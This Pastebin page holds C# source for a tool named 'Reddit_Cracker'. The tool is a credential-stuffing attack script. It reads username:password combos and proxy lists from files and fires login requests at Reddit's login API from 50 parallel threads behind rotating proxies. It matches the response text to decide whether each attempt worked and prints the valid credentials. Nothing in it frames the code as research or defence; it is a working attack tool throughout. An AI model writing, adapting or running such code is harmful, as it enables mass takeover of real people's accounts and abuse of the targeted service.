Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Net;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using crackingLib;
- using RestSharp;
- namespace Reddit_Cracker
- {
- class Program
- {
- private static bool running = true;
- private static int tries;
- static void makeRequest()
- {
- string[] combo = comboSystem.getCombo().Split(':');
- string user = combo[0];
- string pass = combo[1];
- if (user != "INVALID" && pass != "INVALID")
- {
- tryagain:
- var cookieJar = new CookieContainer();
- var client = new RestClient("http://www.reddit.com/");
- client.CookieContainer = cookieJar;
- client.Proxy = new WebProxy(proxySystem.getProxy());
- var request = new RestRequest(Method.GET);
- var execRequest = client.Execute(request);
- client.BaseUrl = new Uri(string.Format("https://www.reddit.com/api/login/{0}", user));
- request.Method = Method.POST;
- request.AddParameter("application/x-www-form-urlencoded; charset=UTF-8",
- string.Format("op=login-main&user={0}&passwd={1}&api_type=json", user, pass),
- ParameterType.RequestBody);
- execRequest = client.Execute(request);
- tries++;
- var key = keysSystem.checkKey(execRequest.Content);
- Console.Title = tries.ToString();
- if (key == "SUCCESS")
- {
- Console.WriteLine(user + ":" + pass);
- }
- else
- {
- if (key == "FAILURE")
- {
- }
- else
- {
- Console.WriteLine(execRequest.Content);
- goto tryagain;
- }
- }
- }
- else
- {
- running = false;
- }
- }
- static void Main(string[] args)
- {
- comboSystem.Load("./combos.txt");
- proxySystem.Load("./proxies.txt");
- keysSystem.addFailureKey("{\"json\": {\"errors\": [[\"WRONG_PASSWORD\", \"wrong password\", \"passwd\"]]}}");
- keysSystem.addFailureKey("{\"json\": {\"errors\": [[\"BAD_USERNAME\", \"invalid user name\", \"passwd\"]]}}");
- keysSystem.addSuccessKey("\"modhash\": ");
- keysSystem.addFailureKey("incorrect username or password\"");
- Thread[] ts = new Thread[50];
- for (int i = 0; i < ts.Length; i++)
- {
- ts[i] = new Thread(() =>
- {
- while (running)
- {
- makeRequest();
- }
- });
- ts[i].Start();
- }
- for (int i = 0; i < ts.Length; i++)
- {
- ts[i].Join();
- }
- Console.Read();
- }
- }
- }
Add Comment
Please, Sign In to add comment